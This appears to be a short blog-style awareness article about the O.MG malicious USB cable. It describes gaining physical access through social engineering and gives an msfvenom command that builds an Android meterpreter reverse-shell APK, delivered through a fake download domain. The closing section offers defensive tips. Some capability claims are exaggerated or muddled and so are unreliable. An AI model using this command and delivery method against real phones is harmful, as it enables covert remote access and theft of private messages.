The OMG cable looks like a normal cable in image but it is not. OMG cable records all the data on your device and can fully transmit this information to a hacker as far away as 1609 KM.
Only through OMG cable and a router it is possible to find out the target's whatsapp messages, sms, call logs. Even sms can be sent to the target on behalf of someone else. Therefore, it is necessary to be careful against suspicious networks and cables.
But how do they hack?
Hackers somehow need to have physical access to the device where they want to obtain your data. After you get that physical access in any way like social engineering, etc., then all the work is done when he plugs in that cable. OMG cable shows a wifi port. So the cable is a cable that can be connected remotely. After the hackers plug this cable into the target device, they create a port and make you download the malware, then it doesn't matter if the cable is plugged in or not. These cyber security and hacking cables, usb and adapters, which have just announced their names to people who are not yet related to this sector, are a threat to everyone, because normal users do not have protection against these threats.
How to connect to OMG Cable:
This can be achieved with a msfvenom command that is closely familiar to those who are interested in the sector. [msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT= -o omg.apk ] Typing this command does not end the job, we create a malicious file with this command, this file must be downloaded to the other party in some way while the cable is plugged into the device. Any fake domain can be created to download this file. After you eat this and download this file, the job is done. Now, even if you are aware of the situation and remove the cable, it is futile because the meterpreter session will be opened and your device can be re-logged in at any time.
Methods of protection from these attacks:
- Beware of fake wifi! Attackers can create a fake wifi point with their devices. For example, the wifi network of a café that connects without a password. When you connect to this wifi network, you can be accessed. That's why it is necessary to stay away from suspicious wifi.
- It is necessary to pay attention to suspicious cables coming from outside. At the same time, it is important that you carry your devices (e.g. your phone) with you, not give the space where the attacker will plug that cable.
